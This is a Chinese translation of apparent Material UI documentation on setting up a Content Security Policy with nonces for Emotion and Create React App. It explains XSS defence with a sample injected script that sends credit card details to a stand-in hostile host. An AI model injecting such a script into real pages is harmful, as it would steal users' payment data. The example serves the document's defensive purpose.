内容安全策略 (CSP)
本节介绍设置 CSP 的详细信息。
什么是 CSP 以及它为什么有用?
CSP 通过要求开发者将资源检索来源列入白名单,从而缓解跨站脚本 (XSS) 攻击。此列表作为标头从服务器返回。例如,假设您的站点托管在 https://example.com
,CSP 标头 default-src: 'self';
将允许所有位于 https://example.com/*
的资源,并拒绝所有其他资源。如果您的网站的某个部分容易受到 XSS 攻击(其中显示了未转义的用户输入),攻击者可能会输入类似以下内容:
<script>
sendCreditCardDetails('https://hostile.example');
</script>
此漏洞将允许攻击者执行任何操作。但是,使用安全的 CSP 标头,浏览器将不会加载此脚本。
您可以在 MDN Web Docs 上阅读更多关于 CSP 的信息。
如何实现 CSP?
服务端渲染 (SSR)
要将 CSP 与 Material UI(和 Emotion)一起使用,您需要使用 nonce。Nonce 是一个随机生成的字符串,仅使用一次,因此您需要在每个请求上添加服务器中间件来生成一个 nonce。
CSP nonce 是一个 Base 64 编码的字符串。您可以像这样生成一个:
import uuidv4 from 'uuid/v4';
const nonce = new Buffer(uuidv4()).toString('base64');
您必须使用 UUID 版本 4,因为它生成一个不可预测的字符串。然后,将此 nonce 应用于 CSP 标头。应用 nonce 后,CSP 标头可能如下所示:
header('Content-Security-Policy').set(
`default-src 'self'; style-src 'self' 'nonce-${nonce}';`,
);
您应该在服务器上的 <style>
标签中传递 nonce。
<style
data-emotion={`${style.key} ${style.ids.join(' ')}`}
nonce={nonce}
dangerouslySetInnerHTML={{ __html: style.css }}
/>
然后,您必须将此 nonce 传递给 Emotion 的缓存,以便它可以将其添加到后续的 <style>
中。
const cache = createCache({
key: 'my-prefix-key',
nonce: nonce,
prepend: true,
});
function App(props) {
return (
<CacheProvider value={cache}>
<Home />
</CacheProvider>
);
}
Create React App (CRA)
根据 Create React App 文档,Create React App 将在生产构建期间默认将运行时脚本动态嵌入到 index.html 中。这将需要在每次部署期间在您的 CSP 中设置新的哈希值。
要将 CSP 与作为 Create React App 初始化的项目一起使用,您需要在用于生产构建的 .env
文件中设置 INLINE_RUNTIME_CHUNK=false
变量。这将像往常一样导入运行时脚本而不是嵌入它,从而避免在每次部署期间设置新哈希值的需要。
styled-components
nonce 的配置并不简单,但您可以关注 此 issue 以获得更多见解。